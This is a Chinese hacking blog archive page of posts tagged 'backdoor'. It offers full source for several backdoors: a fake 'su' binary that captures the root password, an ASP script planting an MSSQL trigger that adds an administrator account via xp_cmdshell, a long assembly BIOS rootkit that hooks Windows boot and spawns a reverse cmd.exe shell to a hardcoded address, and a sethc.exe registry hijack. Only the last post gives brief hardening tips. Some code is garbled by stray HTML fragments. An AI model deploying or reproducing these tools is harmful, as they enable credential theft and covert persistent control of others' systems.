存档

文章标签 ‘后门’

linux Backdoor

2011年11月24日 没有评论 239 views

/*

/*

* kpr-fakesu.c V0.9beta167

* by koper

*

* Setting up:

* admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c

* admin@host:~$ mv .su /var/tmp/.su

* admin@host:~$ cp .bash_profile .wgetrc

* admin@host:~$ echo "alias su=/var/tmp/.su">>.bash_profile

* admin@host:~$ logout

* *** LOGIN ***

* admin@host:~$ su

* Password:

* su: Authentication failure

* Sorry.

* admin@host:~$ su

* Password:

* root@host:~# logout

* admin@host:~$ cat /var/tmp/.pwds

* root:dupcia17

* admin@host:~$

*

* /bin/su sends various failure information depending on the OS ver.

* Please modify the source to make it "fit" <img src="http://www.4shell.org/wp-content/uploads/images/2011/11/1323384Sm.gif" alt=";)">

*

*/

#include

#include

#include

main(int argc, char *argv[]){

FILE *fp;

char *user;

char *pass;

char filex[100];

char clean[100];

sprintf(filex,"/var/tmp/.pwds");

sprintf(clean,"rm -rf /var/tmp/.su;mv -f /home/test/.wgetrc /home/test/.bash_profile");

if(argc==1) user="root";

if(argc==2) user=argv[1];

if(argc>2){

if(strcmp(argv[1], "-l")==0)

user=argv[2];

else user=argv[1];}

fprintf(stdout,"assword: ");

pass=getpass ("");

system("sleep 3");

fprintf(stdout,"su: Authentication failurenSorry.n");

if ((fp=fopen(filex,"w")) != NULL)

{

fprintf(fp, "%s:%sn", user, pass);

fclose(fp);

}

system(clean);

system("rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su");

}

以下三个都是比较经典的backdoor:

阅读全文...

分类: 资源共享 标签: , ,

很不错的openssh后门

2009年8月11日 没有评论 238 views

试用了几个openssh backdoor,这个是用户体验最好的一个,好在哪自己看看、用用就知道了。唯一不足的地方是他只能用在3.6.1p2里,解决这个问题很简单,把 version.h改改再编译就是了。覆盖文件之后记得执行/usr/sbin/sshd -t测试并修正配置文件,直到没有提示为止。分享之。
阅读全文...

分类: 技术文章 标签: ,

MsSql 触发器后门

2009年8月1日 1 条评论 107 views

来源:LCX

根据雪山剑神的一篇文章写的 asp代码。他的文章在黑手7、8月合刊。

<%

'里边的变量代码大家用时自己改吧
On Error Resume next
Set conn=Server.CreateObject("ADODB.Connection")
DSN="driver={SQL Server};Server=(Local)\GSQL;database=baby;uid=sa;pwd=lcx;"
conn.Open DSN
if conn.State=1 then
response.write("成功")
sql="CREATE TRIGGER myasp_bkdoor"&Chr(10)&Chr(13)&"ON users_member"&Chr(10)&Chr(13)&"AFTER UPDATE"&Chr(10)&Chr(13)&"AS"&Chr(10)&Chr(13)&"IF user='dbo' OR user='sa'"&Chr(10)&Chr(13)&"BEGIN"&Chr(10)&Chr(13)&"PRINT 'dbo OR sa logon'"&Chr(10)&Chr(13)&"EXEC master..xp_cmdshell'net user test 123456 /add&&net localgroup administrators test /add'"&Chr(10)&Chr(13)&"END"&Chr(10)&Chr(13)&"ELSE"&Chr(10)&Chr(13)&"BEGIN"&Chr(10)&Chr(13)&"PRINT 'not dbo or sa privilage'"&Chr(10)&Chr(13)&"END"&Chr(10)&Chr(13) '建立myasp_bkdoor触发器,触发baby库中的users_member表的update操作加用户
SQL1="update users_member set email=3 where accountid=1" '触发
'sql2="drop TRIGGER myasp_bkdoor"
set rs=conn.execute(SQL)&conn.execute(SQL1,iRowsAffected, &H0001)'&conn.execute(SQL2) '触发
Do Until Rs.EOF
      Response.Write " <tr>" & vbNewLine
      For I = 0 To Rs.Fields.Count - 1
       Response.Write "<td>" & SQLOut(oRs(I)) & "</td>" & vbNewLine
      Next
      Response.Write " </tr>" & vbNewLine
      Rs.MoveNext
     Loop

else
response.write("失败")
end if
%>

分类: 技术文章 标签: ,

BIOS中隐藏Telnet后门

2009年3月26日 没有评论 98 views

作者:成松林 (cheng_5103_at_126.com)

[项目简述]
该项目仅为实验性项目,目的是学习国外技术。该项目主要目的是想隐藏一个Telnet后门在主板的BIOS内,并让其随着计算机系统及操作系统成功的运行起来。运行后能反向Telnet连接到指定的计算机接受CMD控制。

[关于作者]
姓名:成松林 QQ:179641795 Email:cheng_5103@126.com 本人对计算机的诸多技术都很有兴趣,常喜欢学习国外的开源项目,很佩服国外的计算机技术及知识。本人学历:中专,专业:计算机,年龄:25,工作:中专学业完成后留校工作。废话:本人家景很穷,所以大学都未上成就工作,希望有志人士能教小弟赚钱。我文才很差,故文章中有语法及表达问题请大家多多谅解。

[项目涉及的相关知识及技术标题]
1、实验环境配置问题。
2、刷新BIOS技术问题。
3、代码植入BIOS问题。
4、源代码的相关问题:
A、如何编写BIOS模块如:PCI、ISA。
B、实模式关于HOOK磁盘中断的问题。
C、磁盘中断中选择再次HOOK的问题。
D、NT保护模式下设置物理地址映射。
E、NT保护模式下线性地址寻址问题。
F、HOOK KeAddSystemServiceTable。
G、HOOK NtUserRegisterClassExWOW。
H、HOOK Winlogon SASWndProc过程。
I、在SASWndProc收到WM_CREATE消息建立线程运行Telnet Shell Code。
5、源代码的其他技术:
A、IVThook InLineHook SSDT Hook
B、SEH PE PEB TIB
C、Hash SharedUserData CheckSum
6、......

文章内容会在朋友的网站(51cto)上发布,文章还未整理好,相关的工具及相关的源代码会在以后整理发布.

以下源代码采用编辑工具MASMPlus,直接拷贝到这里可能有格式上的问题,做了简单的调整!

调试了几台我这儿的计算机,以网卡8139PCI模块加入BIOS刷入芯片,在调试计算机上安装win2k/xp/2003及操作系统运行后,以下源代码都能正常的反向连接到我指定的计算机上.

jmp      MyROMCodeStart                                    ;####注意:修改ROM模拟跳转指令到这里执行####,****指令开始偏移:003h****
org      06h                                                ;####注意:编译器根据偏移长度选择JMP命令####,****JMP[rel16]长:003h****
ReturnOldROM:                                                    ;####注意:把数据放在头部以便于确定位置.####,****标识开始偏移:006h****
db      0e9h,0,0                                          ;####注意:执行完跳转到旧的ROM代码跳转处####,****指令数据偏移:007h****
db      'CHKSUM=',0                                        ;####注意:填写我们修改后的ROM数据检验和####,****数据偏移地址:010h****
;*****************************************************************************************************************************************      org      18h                                               ;编译成支持PCI设备的模块:PCI  ROM固定大小4KB,其他参看"PCI  2.2规范"教程
dd      34001ch,52494350h,813910ech,180000h,200h,2010008h,8000h,506e5024h,201h,6500h,0,20000h,6400h,0,0;硬件realtek  PCI8139网卡
;*****************************************************************************************************************************************MyROMCodeStart:
pushf
pushad
push    es
push    ds

sti                                                        ;打开中断,以便接收键盘输入.
mov      cx,0ffffh                                          ;等待,约为两二秒的按键消息.
call    WaitPressScrollKey
.if      !CARRY?                                           ;若按下Scroll  Lock键,不运行我们的程序.
;*****************************************************************************************************************************************              xor      ax,ax
mov     es,ax
mov      eax,es:[19h*4]
mov      es:[84h*4],eax                            ;借用中断向量84H,保存中断向量19H.

mov      bx,es:[413h]                              ;40:13,BIOS数据区保存常规的内存大小,单位:KBs.
and      bl,NOT 3                                  ;注意:要求分配的物理内存地址,以页作为基地址  .
sub      bx,4
mov      es:[413h],bx
shl      bx,(10-4)                                 ;bx *= 1024 / 16  (KBs->线性地址=KBs*1024,段:除以16)
mov      es,bx
xor      di,di  &nb
sp;                                  ;es:di ->  分配的实模式高端内存前半部分开始处.

push    cs
pop      ds
call    GetCurrentAddr                            ;offset  Code16End = offset  Code32Start
GetCurrentAddr:
pop      si                                        ;si->GetCurrentAddr在内存的地址
mov      dx,si

add     si,Code16End -  GetCurrentAddr              ;ds:si->Code16End保护模式代码段内存的地址.
cld
mov      cx,((ROM_IMAGE_SIZE / 2) * 1024) /  4      ;拷贝保护模式代码数据到分配内存的前半部分.
rep      movsd

add      bx,100h
mov      es,bx
xor      di,di                                      ;es:0->分配的实模式高端内存后半部分开始处.
mov      si,dx
sub     si,GetCurrentAddr - Code16Start            ;ds:si->Code16Start实模式代码的内存的地址.
mov     cx,((ROM_IMAGE_SIZE  / 2) * 1024) / 4      ;拷贝  实模式代码数据到分配内存的后半部分.
rep      movsd

xor     bx,bx
mov      ds,bx
add     dx,NewINT19H - GetCurrentAddr              ;dx->NewINT19H内存的地址
mov      ds:[19h*4],dx
mov     ds:[(19h*4) + 2],es                        ;设置成我们的INT19H服务代码
;*****************************************************************************************************************************************      .endif
pop      ds
pop     es
popad
popf
;jmp      ReturnOldROM                                      ;跳转到原来的ROM代码的跳转处执行
retf
;*****************************************************************************************************************************************WaitPressScrollKey:                                              ;函数入口:CX=350约为10ms, 函数延时: 33(us)
push    ax
.repeat
in      al,60h
.if     al ==  46h                                  ;Scroll  Lock键扫描码:46h
stc
pop    ax
ret
.endif
in      al,61h
test    al,010h
.continue  .if  !ZERO?
.repeat
in      al,61h
test    al,10h
.until  !ZERO?
dec    cx
.until cx ==  0
clc
pop    ax
ret
;*****************************************************************************************************************************************NewINT19H:
pushf
;cli
push    eax
push    es
;jmp      $                                                ;bochs调试1#.
xor      ax,ax
mov     es,ax
mov      eax,es:[84h*4]
mov      es:[19h*4],eax                                    ;恢复中断向量19H值.
mov      eax,es:[13h*4]
.if     es:[85h*4] != eax
mov      es:[85h*4],eax                            ;借用中断向量85H,保存中断向量13H.reserved for  BASIC 82h~85h
mov     word ptr es:[13h*4],NewINT13H              ;设置NewINT13H在内存的地址.
mov     es:[(13h*4) +  2],cs                        ;设置成我们的INT13H服务代码
.endif

pop     es
pop      eax
popf                                                      ;恢复现场
int      84h                                                ;调用旧的中断向量19H.
iret
;*****************************************************************************************************************************************NewINT13H:
pushf                             &n
bsp;                        ;有指令要改变标志寄存器值.
test    ah,  0bdh                                          ;是不是读数据到内存?ah=02,ah=42h.
.if      !ZERO?                                            ;ZF=0
popf
int    85h                                        ;调用旧的中断向量13H.
iret
.endif
mov      word ptr cs:[INT13LASTFUNCTION],ax
popf

int     85h                                                ;调用旧的中断向量13H.
.if      CARRY?                                            ;CF=1,读失败退出服务
iret
.endif

pushf
;cli
push    es
pushad
;jmp    $                                                  ;bochs调试2#.可输入指令:u cs:ip +  2.观察INT13LASTFUNCTION的值.
mov    ax,00h
INT13LASTFUNCTION EQU  $-2
.if     ah == 42h
lodsw
lodsw                         ;参看"扩展INT13H规范"ds:[si + 2]指传输块数.
les    bx,[si]                                    ;ds:[si + 04h]表示:  传输用的缓冲区内存地址.
.endif
.if     al != 00h
xor      cx,cx
mov     cl,al
mov      al,8Bh                                    ;设置搜索标志的第一个字节.
shl      cx,9                                         ;(CX * 200h) 搜索搜索计数.
mov     di,bx                         ;8B F0 85 F6 74 21 80 3D:MOV ESI,EAX TEST  ESI,ESI JZ $+23h CMP BYTE PTR [ofs32],  imm8
cld                                               ;NTLDR  OSLoder模块里的6字节做为标志,进行HOOK.注意:选择HOOK位置很关键!
.while    1
repne      scasb
.break    .if  !ZERO?
.continue .if  dword ptr es:[di] != 74F685F0h
.continue .if  word ptr es:[di+4] !=  8021h
;(es:di  - 1)->我们想被HOOK的指令代码开始处.

;mov     byte ptr  es:[di-8],0ebh         ;jmp $指令十六进制值0xebfe,设置在NTLDR暂停.
;mov     byte ptr es:[di-7],0feh
;设置在NTLDR被HOOK指令处暂停:指令地址[0x31adf1]8:31adf1,注意:INT13H服务中读取NTLDR数据,
;检测HOOK标识代码后,设置HOOK时用的指令及计算指令地址.因为NTLDR数据会被搬移到内存高端处.

xor     eax,eax
mov      ax,cs
sub      ax,100h                          ;ax->保护模式代码段
mov     bx,ax
shl      eax,4                            ;eax->保护模式代码段在内存的物理地址.

mov     word ptr es:[di-1],15ffh          ;##FFh/15h:使用CALL NEAR [OFS32]指令进行NTLDR HOOK##
mov      es:[di+1],eax                    ;##设置CALL NEAR  [OFS32]指令跳转地址,指令占6个字节##
;通过上面获取NTLDR被HOOK处的运行地址:0x31adf1,用bochs调试暂停b  0x31adf1,观察我们的HOOK方式对否?.
mov      es,bx
or      es:[(KEASSTHOOK_PTE -  Code32Start)],eax
add      eax,4                            ;eax->NTLDRCallAddr +  4,设置成我们的32位代码开始处执行.
mov     dword ptr  es:[0],eax              ;es:[0]->保护模式段内变量NTLDRCallAddr所在内存虚拟地址.
;jmp      $                               ;bochs调试3#可用xp es:di -  1观察HOOK情况及r显示寄存器.
.endw
.endif
popad
pop      es
popf
iret
;*****************************************************************************************************************************************Code
16End:                                                      ;offset  Code32Start = offset Code16End
RealCode  ends
;*****************************************************************************************************************************************ProtectCode  segment byte  use32                                  ;##########可工作在32位保护模式的代码#########
Code32Start:                                                    ;offset  NTLDRCallAddr = offset Code32Start = offset Code16End
NTLDRCallAddr dd  ?

;jmp      $                                                ;bochs调试4#,参看在NewINT13H调试为什么没运行到这里?
pushfd                                                    ;esp  = esp +  04h
pushad                                                    ;esp =  esp +  20h
;扫描获取模块表基址(_BlLoaderData)  参看"NTLDR分析及源代码".
mov     edi,[esp + 20h +  04h]                             ;edi->OSLOADER内部.
and     edi,NOT  000FFFFFh                                 ;转换为镜像基地址  .
cld
mov      al,0c7h                                           ;C7h/46h/34h/00h/40h/00h/00h:  MOV DWORD PTR [ESI+34h],  4000h
.while  1
scasb
.if      ZERO?
.break .if  dword ptr [edi] ==  40003446h
.endif
.endw
mov      al,0A1H                                           ;A1h/xx/xx/xx/xx: MOV EAX,  [xxxxxxxx]
.while  1
scasb
.break  .if      ZERO?
.endw
mov      esi,[edi]                                          ;esi->模块链表的开始基地址  .
mov      esi,[esi]                                          ;esi->模块链表中的第一个节点.
lodsd
mov      ebx,[eax+18h]                                     ;EBX = NTOSKRNL.EXE  在内存镜像的基地址.
;注意:这里不能直接调用NTOSKRNL导出函数.
;jmp      $
;*****************************************************************************************************************************************      call    PatchFunction_OverHookFunc                        ;跳转到KeASSTHook后面执行,安装HOOK问题.

KeASSTHook:                                                      ;HOOK KeAddSystemServiceTable    该函数.
;lb  0x804c3bc6
sub     dword ptr  [esp],5                          ;修正ret指令返回地址为被HOOK函数开始处.
pushad                                                    ;保护KeAddSystemServiceTable函数的现场.

mov     eax,00000001h                                      ;KEASSTHOOK_PTE:保护模式代码的内存地址.
KEASSTHOOK_PTE EQU  $-4
xor      ecx,ecx
mov     ch,((Code32End - Code32Start) + 100h) /  100h      ;注意:代码小于2k,以便放在用户数据空间 .
mov      edx,0C0000000h                ;edx->4MB页目录表中的第一个二级页表项 .
xor      esi,esi                         ;esi->我们的代码开始地址,以页为基地址 .
mov      edi,CSL_KERNEL_DEST         &nbsp
;           ;拷贝代码到SharedUserData数据空间中去  .
xchg    [edx],eax                                          ;映射我们代码的物理地址到线性地址00000.
wbinvd
rep      movsb                                             ;SharedUserData  空间参看其他相关的教程.
mov     [edx],eax                                          ;恢复线性地址00000000原来的映射物理页  .
wbinvd                                                    ;bochs调试6#:NTOSKRNL.EXE镜像基址  +  64.

;保存被HOOK代码数据在堆栈中,后面恢复用.
db      6Ah,0                    ;6Ah/xx:  PUSH simm8
KEASSTHOOK_DISPLACED4 EQU $-1
pushd    0
KEASSTHOOK_DISPLACED0 EQU  $-4
;bochs调试8#:lb  0xffdf08a4映射地址之后.
push    (CSL_KERNEL_DEST + (MyKeAddSystemServiceTable  - Code32Start))
ret                                  ;跳转到MyKeAddSystemServiceTable函数处.
;*****************************************************************************************************************************************PatchFunction_OverHookFunc:                                      ;KeAddSystemServiceTable HOOK 问题处理.

pop      esi                                               ;esi->KeASSTHook 函数在内存的实际地址  .
mov     ecx,PatchFunction_OverHookFunc - KeASSTHook       ;ecx =  KeASSTHook 代码的长度,准备移动  .
;处理代码中的寻址问题,将KeASSTHook代码.
lea      edi,[ebx+40h]                                     ;搬移到NTOSKRNL DOS  MZ和PE头之间去执行.
;jmp      $                                                ;bochs调试5#,lb  edi下一步运行在edi的值.
mov     ebp, edi                          ;ebp用于后面HOOK时计算CALL rel 偏移用 .
rep      movsb                                              ;指令:edi->PatchFunction_OverHookFunc  .

mov      edx,0A21CD4EEh                                    ;"KeAddSystemServiceTable",0  ->HASH值.
call      PEApiHashFind                                    ;在NTOSKRNL模块中查找该函数以便HOOK用..
;jmp      $                                                ;bochs调试7#可以用到调试HOOK函数lb eax.
xchg      esi,eax                                          ;指令:esi->KeAddSystemServiceTable函数.

sub      edi,PatchFunction_OverHookFunc  -  KEASSTHOOK_DISPLACED0
movsd                                                      ;InLine HOOK方式:保存被HOOK的代码数据 .
sub          edi,KEASSTHOOK_DISPLACED0 +  4 - KEASSTHOOK_DISPLACED4
movsb

mov      byte ptr  [esi-5],0e8h                     ;E8h/xx/xx/xx/xx:CALL rel  相关地址指令.
sub      ebp,esi                                          ;调试例如:bochs调试5#edi  lb 0x80400040.
mov      dword ptr  [esi-4],ebp                            ;call  KeASSTHook,调试断点bochs调试5#处.

popad
popfd
;*****************************************************************************************************************************************      &nbs
p;                                                         ;模拟InLineHOOK  NTLDR中的指令,并返回去.
mov      esi,eax
test      eax,eax
jnz      short @F
pushfd
add      dword ptr  [esp+4],21h
popfd
@@:
ret
;*****************************************************************************************************************************************MyKeAddSystemServiceTable:                                      ;bochs调试8#:开始是多任务JMP  $断点很慢.
;首先关闭HOOK  NTOSKRNL.EXE!KeAddSystemServiceTable
mov      ebp,esp                                           ;bochs调试8#:lb 0xffdf08a4 u  /50  查看.
mov     edi,[ebp+8+20h]                      ;edi->KeAddSystemServiceTable  函数入口.

mov      ecx,cr0
mov     edx,ecx
and     ecx,NOT  00010000h
mov     cr0,ecx                                            ;CR0.WP关闭页保护功能,以便对当前页修改.

pop      eax                                               ;恢复KeAddSystemServiceTable  HOOK 数据.
stosd
pop     eax
stosb

mov      cr0,edx                                           ;恢复  CR0.WP位到原来的状态            .
;*****************************************************************************************************************************************      mov      esi,[ebp+8+28h]                                   ;esi->_W32pServiceTable      服务描述表.
mov     ecx,[ebp+8+30h]                                    ;ecx:                       服务的数目.
mov      edi,[ebp+8+34h]                                   ;edi:_W32pArgumentTable      服务参数表.
;具体参看"SSDT  HOOK教程" ,讲解如何HOOK.
.while  ecx >  0                                           ;HOOK  win32k!NtUserRegisterClassExWOW  .
lodsd
.if    byte ptr [edi] ==  10h                      ;NtUserRegisterHotKey has 4 arguments  .
mov    edx,20h
.while edx >  0
.if    byte ptr [eax] == 0f7h       ;F7h/0:  TEST mem, imm
mov    ebx,4                  ;search EAX+4..1 for bit mask of prohibited 'fsModifiers'  flags
.while ebx >  0
.if    dword ptr [eax + ebx] ==  0FFFF7FF0h
inc      edi
.while  1      ;NtUserRegisterClassExWOW will have 6 or 7  arguments
sub      esi,4
dec     edi
.if     byte ptr  [edi] >=  18h
mov      eax,[esi]
;bochs调试9#:JMP $指令断点,在多线程下很慢,尽量采用断点命令.lb  0xffdf08f7
mov     edi,(CSL_KERNEL_DEST +  (MyNtUserRegisterClassExWOW-Code32Start))
mov     [edi + (NTURCEWOW_ORIGINAL -  MyNtUserRegisterClassExWOW)],eax
mov      [esi],edi
jmp     @F
.endif
.endw
.endif
dec    ebx
.endw
.endif
inc    eax
dec    edx
.endw
.endif
inc     edi
dec      ecx
.endw
@@:
;*****************************************************************************************************************************************      popad                                                      ;恢复KeAddSystemServiceTable函数的现场.
ret                                                        ;返回KeAddSystemServiceTable函数去执行.
;*****************************************************************************************************************************************MyNtUserRegisterClassExWOW:
                                      ;win32k!NtUserRegisterClassExWOW HOOK  .

pushad                                                    ;bochs调试10#:lb  0xffdf091e  调试9#获取.
;使用bochs调试命令:x  esp     u /50 eip.
xor      eax,eax

push    (CSL_KERNEL_DEST  + (MyNtUserRegisterClassExWOW_SEH - Code32Start))
push    dword ptr  fs:[eax]                                ;在堆栈建立异常结构
mov     dword ptr  fs:[eax],esp                            ;安装我们的异常处理,####调试发现安装的异常处理有时不能工作.####

;通过传来的参数检查类名是L"SAS  window class" ,替换其'lpfnWndProc'过程,具体参看"win32应用程序窗口消息原理".
mov      ebp,ds:[7FFE02B4h]                                ;EBP =  MmHighestUserAddress
mov     edx,[esp + 8 +  28h]                                ;edx->窗口类名,格式PUNICODE_STRING.
.if     edx <=  ebp
.if     word ptr [edx] == 16*2                    ;size of  L"SAS window class" 检查字符数对不?
mov     esi,[edx +  4]
.if     esi <=  ebp
mov     ecx,16                    ;
mov     edx,72ABEC2Dh        ;72ABEC2Dh <--  HASH("SAS window  class")
@@:
lodsw
sub      edx,eax
ror      edx,7
loop    @B
.if      edx ==  0                  ;替换窗口过程,前保存旧的过程在PEB中
mov      esi,[esp + 8 +24h];esi->WNDCLASSEXW  类结构.
.if     esi <=  ebp
mov     ecx,fs:[edx +  18h]              ;ecx->用户TIB,线程信息块存放线程信息.
mov      ecx,[ecx  +30h]                  ;ecx->    PEB,进程环境块存放进程信息.
.if      ecx <= ebp                      ;bochs调试11#:lb  0xffdf0971
mov      eax,(CSL_USER_BACKDOOR + (MySASWndProc -  Code32Start))
xchg    dword  ptr [esi + 8],eax  ;替换'lpfnWndProc'过程,为我们的过程.
mov      [ecx + 0eb0h],eax       ;PEB->0EB0h = 旧的'lpfnWndProc'  (保存旧的SASWndProc)
.endif
.endif
.endif
.endif
.endif
.endif

;*****************************************************************************************************************************************NTURCEWOW_Done:                                                  ;bochs调试11#:lb 0xffdf097f
xor     eax,eax
pop     dword ptr  fs:[eax]                                ;移除堆栈的异常结构
pop      ecx                                                ;移除我们的异常处理
popad
pushd    0
NTURCEWOW_ORIGINAL EQU  $-4
ret                                                        ;返回NtUserRegisterClassExWOWHook执行.
;*****************************************************************************************************************************************MyNtUserRegisterClassExWOW_SEH:                                  ;注意:安装异常参看"win32应用程序设计".
xor      eax,eax                                           ;lb 0xffdf098c 调试异常:兼容不很稳定  .

cdq                                                        ;CDQ常用于除法运算之前调整EDX值.作用只是把EDX的所有位都设成EAX最高位的值.
mov      dl,0B8h
add     edx,[esp + 0Ch]                ;[esp +  c]->Context.传过来的参数.
;Context->Eip r/>mov     dword ptr [edx],(CSL_KERNEL_DEST +  (NTURCEWOW_Done -  Code32Start))
ret
;*****************************************************************************************************************************************MySASWndProc:                                                    ;bochs调试12#:  程序现已运行在应用层下.
;lb  0x7ffe099c
push    eax                                                ;eax:旧的SASWndProc地址,返回方法:popad ret.
pushad

xor      eax,eax
mov     edx,fs:[eax+30h]                                  ;ptr  to PEB

mov      eax,[edx+0EB0h]                                   ;original SASWndProc  address
mov     [esp+20h],eax

mov      eax,[esp+2Ch]                                     ;get 'uMsg'  argument
.if     eax ==  0001h                                      ;WM_CREATE
mov      eax,[edx+0Ch]                             ;ptr to loader  data
mov     ecx,[eax+1Ch]                             ;ptr to  first module in initialization-order  list

.repeat
mov      ebx,[ecx+8]                       ;module image  base
mov     esi,[ecx+20h]                     ;ptr to  module file name
mov      ecx,[ecx]                         ;ptr to next  module
lodsb
or      al,20h
.until  al  == 'k'                                 ;assume KERNEL32.DLL will be first module  starting with  'K'
;EBX =  KERNEL32 镜像基址 bochs调试13#:lb 0x7ffe09cc
;mov      edi,(CSL_USER_BACKDOOR + (PEApiHashFind -  Code32Start))
push    ebx                                        ;ebx:dwThreadID  变量使用堆栈.
push    esp                                        ;push addr  dwThreadID
push    0
push    0
push    (CSL_USER_BACKDOOR  + (TelnetShell -  Code32Start))
push    0
push    0
mov      edx,3f1764e5h                              ;hash("CreateThread")=3f1764e5h
call    PEApiHashFind                              ;call     edi  是否需要这样调用?
call    eax                                        ;invoke CreateThread,NULL,0,offset TelnetShell,NULL,NULL,addr  dwThreadID
pop     ebx                                        ;ebx:dwThreadID  去掉变量使用.
.endif
popad
ret                                                        ;invoke original  SASWndProc
;*****************************************************************************************************************************************TelnetShell:                                                    ;可用于安装在win2k/xp/2003  反向连接Telnet后门应用程序.
xor      eax,eax                                           ;bochs调试14#:lb  0x7ffe09f0
mov      edx,fs:[eax+30h]                                  ;ptr to PEB
mov      eax,[edx+0Ch]   &nb
sp;                                 ;ptr to loader  data
mov     ecx,[eax+1Ch]                                     ;ptr to  first module in initialization-order  list

.repeat
mov      ebx,[ecx+8]                               ;module image  base
mov     esi,[ecx+20h]                             ;ptr to  module file name
mov      ecx,[ecx]                                 ;ptr to next  module
lodsb
or      al,20h
.until  al  == 'k'                                          ;assume KERNEL32.DLL will be  first module starting with  'K'
;EBX =  KERNEL32 image base
mov      edi,ebx                                           ;edi = kernel32基址  bochs调试15#:lb 0x7ffe0a05
TelnetShell_Strat:
mov      ebp,esp                                           ;bochs调试15#:lb  0x7ffe0a07

push    00003233h
push    5f325357h                                          ;esp->"WS2_32"
push    esp
mov      edx,2e864192h                                      ;Hash("LoadLibraryA")=2e864192h
call    PEApiHashFind
call    eax                                                ;LoadLibraryA(&WS2_32DLL)返回EAX=装载DLL基址.
mov      ebx,eax                                            ;ebx=WS2_32基址

sub      esp,1ech                                          ;WSADATA  struct
push    esp                                                ;esp->WSADATA  struct
push    202h                                              ;VersionRequested  0x202h
mov      edx,0c05a351eh                                    ;Hash("WSAStartup")=0c05a351eh
call    PEApiHashFind
call    eax                                                ;WSAStartup(0x101,  &WSADATA)

push    0
push    0
push    0
push    6                                                  ;IPPROTO_TCP=6  IPPROTO_UDP=17
push    1                                                  ;SOCK_STREAM=1  SOCK_DGRAM=2
push    2                                                  ;AF_INET=2
mov      edx,0ef3c1916h                                    ;Hash("WSASocketA")=0ef3c1916h
call    PEApiHashFind
call    eax                                                ;s=WSASocketA(2,1,6,0,0,0)
mov      esi,eax                                           ;esi=socket &nbs
p;s

push    0265359dah                                        ;sockaddr_in.sin_addr;192.168.100.111(06f64a8c0h)
push    0feff0002h                                        ;0x02=AF_INET(sin_family);0xfffe=65534(sin_port)

;.repeat
mov      edx,esp
push    10h                                        ;sizeof(sockaddr_in)
push    edx                                        ;esp->sockaddr_in  struct
push    esi                                        ;socket s
mov     edx,5ddd8b01h                              ;Hash("connect")=5ddd8b01h
;mov      ebx,edi                                  ;ebx=kernel32基址
call    PEApiHashFind
call    eax                                        ;IPPROTO_TCP c=connect(s, &address, sizeof(address))
;.until  eax  == 0                                          ;连接成功
mov      ebx,edi                                            ;ebx=kernel32基址
.if     eax !=  0
push    60000
mov      edx,0cb9765ah                              ;Hash("Sleep")=0cb9765ah
call    PEApiHashFind
call    eax                                       ;invoke  Sleep,60000
mov     esp,ebp
mov      ebx,edi                                    ;ebx=kernel32基址
jmp      TelnetShell_Strat                         ;for another  connection
;ret
.endif

push    646d63h                                            ;winNT(cmd.exe)
mov      edx,esp                                           ;edx->file  name

push    esi                                                ;STARTUPINFOA.hStdError
push    esi                                                ;STARTUPINFOA.hStdOutput
push    esi                                                ;STARTUPINFOA.hStdInput

push    0
push    0                                                  ;wShowWindow  cbReserved2
push    101h                                              ;STARTUPINFO.dwFlags

mov      ecx,0fh
@@:
push    0                                                  ;STARTUPINFOA.cb ~  STARTUPINFOA.dwFillAttribute
loop    @B

lea      ecx,[esp+10h]                                      ;ecx->STARTUPINFOA.cb
mov     dword ptr  [ecx],44h                               ;STARTUPINFOA.CB=44h(len  STARTUPINFOA)

push    esp           
                                     ;esp->PROCESS_INFORMATION STRUCT(all  0)
push    ecx                                                ;ecx->STARTUPINFOA  STRUCT
push    0
push    0
push    0
push    1
push    0
push    0
push    edx
push    0
mov      edx,4b5d35e6h                                      ;Hash("CreateProcessA")=4b5d35e6h
call    PEApiHashFind
call    eax                                                ;CreateProcessA(0, Addr"cmd.exe",0,0,1,0,0,0,si, pi)

pop      ecx                                                ;PROCESS_INFORMATION.hProcess

push    -1                                                ;time  -1
push    ecx
mov      edx,8885abf2h                                      ;Hash("WaitForSingleObject")=8885abf2h
call    PEApiHashFind
call    eax                                                ;WaitForSingleObject(Handle, time)
mov     esp,ebp
mov      ebx,edi                                            ;ebx=kernel32基址
jmp      TelnetShell_Strat                                 ;for another  connection
;ret
;*****************************************************************************************************************************************PEApiHashFind:                                                  ;入口:EBX=镜像基址  EDX=HASH32值 出口:eax=Api 地址,0表示未找到.
xor     eax,eax
pushad
mov      ecx,[ebx+3Ch]                                     ;ecx = RVA of PE  header
mov     ebp,[ebx+ecx+78h]                                 ;ebp =  RVA of export directory
add      ebp,ebx                                           ;ebp -> ptr to export  directory
mov     ecx,[ebp+18h]                                      ;ecx = IMAGE_EXPORT_DIRECTORY::NumberOfNames
mov      edi,[ebp+20h]                                     ;edi ->  IMAGE_EXPORT_DIRECTORY::AddressOfNames
add      edi,ebx
.while  ecx > 0
dec      ecx
mov     esi,[edi+ecx*4]
add      esi,ebx                                    ;esi->API字符串在内存物理地址.

push    edx
.repeat
lodsb
sub      edx,eax
ror     edx,7
.until  eax ==  0                                  ;字符结束
.if     edx ==  0
pop    edx
.break
.endif
pop    edx
.endw
.if      ecx > 0
mov     edx,[ebp+024h]
add      edx,ebx                                    ;AddressofOrdinals
mov      cx,[edx+ecx*2]
mov     eax,[ebp+01ch]
add      eax,ebx                                   ;AddressOfFunctions
add     ebx,[eax+ecx*4]
mov     [esp+1Ch],  ebx        
                    ;overwrite saved EAX with ptr to  export
.endif
popad
ret
;*****************************************************************************************************************************************Code32End:                                                      ;感谢:  eEye RootKit RomOS开源项目,国外的技术我们永远学不完.
ProtectCode  ends                                                ;有不正确的地方,成松林很高兴各位指出这样我才会学到更多知识.
end    Code16Start

分类: 技术文章 标签:

sethc.exe新的镜像劫持技术和安全防御!(shift后门)

2008年10月13日 没有评论 166 views

今天群里朋友发我个shift后门,带镜像劫持的,可以按5下shift,然后输入密码.
5下shift → 不关闭 → 然后鼠标右键点出来的那个框框右下角...
前提是先运行个p处理或reg,这个方法比较牛X..
注册表如下

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe]
"Debugger"="C:\\www.winshell.cn.exe"

这个exe存的路径是:c:\\www.winshell.cn.exe

 

-----------------------------------------------------以下是安全设置---------------------------
知道上边原理:就可以设置安全了....
在服务器里按5下shift,出设置把所有的对号去掉.
删除所有文件安全设置下用户,加everyone设置全部拒绝
C:\WINDOWS\system32和C:\WINDOWS\system32\dllcache的sethc.exe
